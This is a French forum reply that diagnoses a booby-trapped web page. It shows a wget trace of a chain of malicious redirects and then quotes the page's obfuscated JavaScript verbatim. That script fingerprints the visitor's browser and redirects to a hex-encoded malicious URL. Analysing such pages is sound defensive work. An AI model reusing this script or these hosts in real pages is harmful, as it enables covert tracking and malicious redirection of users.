c'est tout simplement une page web piégée que tu as visité avec un navigateur non sécurisé contre les menaces Java Script obfusqué.
Code : Tout sélectionner
wget www.dheweebags.com/prediction.php?c2c3
--2017-10-19 14:31:59-- http://www.dheweebags.com/prediction.php?c2c3
Résolution de www.dheweebags.com (www.dheweebags.com)… 108.179.232.156
Connexion à www.dheweebags.com (www.dheweebags.com)|108.179.232.156|:80… connecté.
requête HTTP transmise, en attente de la réponse… 302 Moved Temporarily
Emplacement : https://directkc.host/n?sub_id_1=c2c3 [suivant]
--2017-10-19 14:31:59-- https://directkc.host/n?sub_id_1=c2c3
Résolution de directkc.host (directkc.host)… 176.57.214.76
Connexion à directkc.host (directkc.host)|176.57.214.76|:443… connecté.
requête HTTP transmise, en attente de la réponse… 302 Found
Emplacement : http://helpingcenter.tk/?ykpr89 [suivant]
--2017-10-19 14:32:00-- http://helpingcenter.tk/?ykpr89
Résolution de helpingcenter.tk (helpingcenter.tk)… 91.215.155.50
Connexion à helpingcenter.tk (helpingcenter.tk)|91.215.155.50|:80… connecté.
requête HTTP transmise, en attente de la réponse… 302 Moved Temporarily
Emplacement : http://ksksks.barsiksuperkot.org/?utm_medium=0b55674fb5dbcffa531ca5159eb4b7420bc4fb78&utm_campaign=177 [suivant]
--2017-10-19 14:32:01-- http://ksksks.barsiksuperkot.org/?utm_medium=0b55674fb5dbcffa531ca5159eb4b7420bc4fb78&utm_campaign=177
Résolution de ksksks.barsiksuperkot.org (ksksks.barsiksuperkot.org)… 99.198.108.197
Connexion à ksksks.barsiksuperkot.org (ksksks.barsiksuperkot.org)|99.198.108.197|:80… connecté.
requête HTTP transmise, en attente de la réponse… 200 OK
Taille : non indiqué [text/html]
Enregistre : «prediction.php?c2c3»
<!DOCTYPE html>
<html><head><title>Loading...</title></head><body></body><script type="text/javascript">var FontInspector=function(){function n(){var n=("0000"+s.offsetWidth.toString(16)).substr(-4),e=("0000"+s.offsetHeight.toString(16)).substr(-4);return e+n}function e(n){for(var e=0;e<f.length;e++)if(f[e]==n)return!0;return!1}function t(){s.innerHTML=p;for(var e in u)s.style.fontFamily=u[e],c.appendChild(s),f.push(n()),c.removeChild(s);l=!0}function r(r){l||t(),s.style.fontFamily=r+","+u,c.appendChild(s);var i=!e(n());return c.removeChild(s),i}function i(){var n=[];for(var e in h)"blank"!=h[e]?n.push(r(h[e])?1:0):n.push(0);var t=n.join(""),i=("0000000000000000"+parseInt(t,2).toString(16)).substr(-16);return i}function o(){s.innerHTML="😀🤣🤨🤥👶🏽👨🏽🎓🤛🙌🧠🍞🥧🥄🎰🌪🖱〽©〰™▪◼",s.style.fontFamily=u[0],c.appendChild(s);var e=n();return c.removeChild(s),e}function a(){for(var n in u){var e=document.createElement("span"),t=u[n];e.innerHTML=p+" : "+t,e.style.fontFamily=t+","+u,c.appendChild(e),c.appendChild(document.createElement("br"))}for(var n in h){var e=document.createElement("span"),t=h[n];e.innerHTML=p+" : "+t,e.style.fontFamily=t+","+u,c.appendChild(e),c.appendChild(document.createElement("br"))}}var u=["monospace","sans-serif","serif"],c=document.getElementsByTagName("body")[0],s=document.createElement("span");s.style.fontSize="75px",s.style.whiteSpace="nowrap";var f=[],l=!1,p="BbEeIilLMmSsWwYy",h=["blank","Dancing Script","sans-serif-light","sans-serif-condensed-light","blank","Zapfino","Cochin","sans-serif-black","blank","Cambria","serif-monospace","blank","Damascus","sans-serif-smallcaps","Noto Serif","Bookerly","blank","HelveticaNeue","blank","Avenir-Book","ArialMT","blank","Microsoft Sans Serif","blank","Comic Sans","Superclarendon-Regular","Georgia","Open Sans","FreeSans","Algerian","Bookman Old Style","Bitstream Vera Sans","FreeSerif","sans-serif-condensed","AppleSDGothicNeo-Thin","sans-serif-thin","sans-serif-medium","Droid Sans","AppleColorEmoji","Monospace","Webdings","TrebuchetMS","Tahoma","Roboto","Lucida Console","DejaVu Sans","DBLCDTempBlack","Calibri","FreeMono","Lucida","casual","blank","Impact","AlNile-Bold","AmericanTypewriter","Ubuntu","Syncopate","Liberation Serif","blank","Didot","AcademyEngravedLetPlain","Trebuchet","OpenSymbol","blank"];this.fontExists=r,this.unicodeFingerprint=o,this.fontFingerprint=i,this.testFontList=a},fi=new FontInspector;!function(n,e,t,r,i,o,a){function u(n){function e(n){return(n<16?"0":"")+n.toString(16)}for(var t="",r=137,i=0;i<n.length;++i){var o=170^n.charCodeAt(i)^255&i;r=r+o&255,t+=e(o)}return t+=e(r)}function c(){function i(n){return"function"==typeof n||!1}var c,s=new Date,f=[function(){return t.platform},function(){return"ontouchstart"in e||"onmsgesturechange"in e?1:a},function(){return r.availWidth},function(){return r.availHeight},function(){return t.plugins&&t.plugins.length||a},function(){return(e.ontouchstart+"")[0]},function(){return(e.onmsgesturechange+"")[0]},function(){return e.MSGesture?1:a},function(){return e.innerWidth},function(){return e.innerHeight},function(){return s.getTimezoneOffset()},function(){return(new Date).getTime()-s.getTime()},function(){return t.buildID},function(){return t.cookieEnabled?1:a},function(){return t.performance&&t.performance.navigation&&t.performance.navigation.redirectCount||a},function(){return t.performance&&t.performance.navigation&&t.performance.navigation.type||a},function(){return e.orientation},function(){return e.devicePixelRatio},function(){return t.vendor},function(){return r.pixelDepth},function(){return r.colorDepth},function(){return r.deviceXDPI},function(){return r.deviceYDPI},function(){return i(n.hasFocus)?n.hasFocus():a},function(){return i(n.getComputedStyle)?1:a},function(){return e.history&&i(e.history.pushState)?1:a},function(){return r.width},function(){return r.height},function(){return o.unicodeFingerprint()},function(){return o.fontFingerprint()}],l=[];for(c=0;c<f.length;++c)try{l.push(f[c]())}catch(n){l.push("!")}return u(l.join("\0"))}var s;try{s=c()}catch(n){try{s=u([0,n.message||n].join("\0"))}catch(n){s=""}}e.location.replace(i+"&utm_content="+s)}(document,window,navigator,screen,"\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x73\x6b\x73\x6b\x73\x2e\x62\x61\x72\x73\x69\x6b\x73\x75\x70\x65\x72\x6b\x6f\x74\x2e\x6f\x72\x67\x2f\x3f\x75\x74\x6d\x5f\x74\x65\x72\x6d\x3d\x36\x34\x37\x38\x35\x39\x37\x34\x32\x33\x31\x33\x39\x36\x35\x33\x32\x30\x35\x26\x63\x6c\x69\x63\x6b\x76\x65\x72\x69\x66\x79\x3d\x31\x26\x63\x3d\x31",fi);</script></html>
Merci.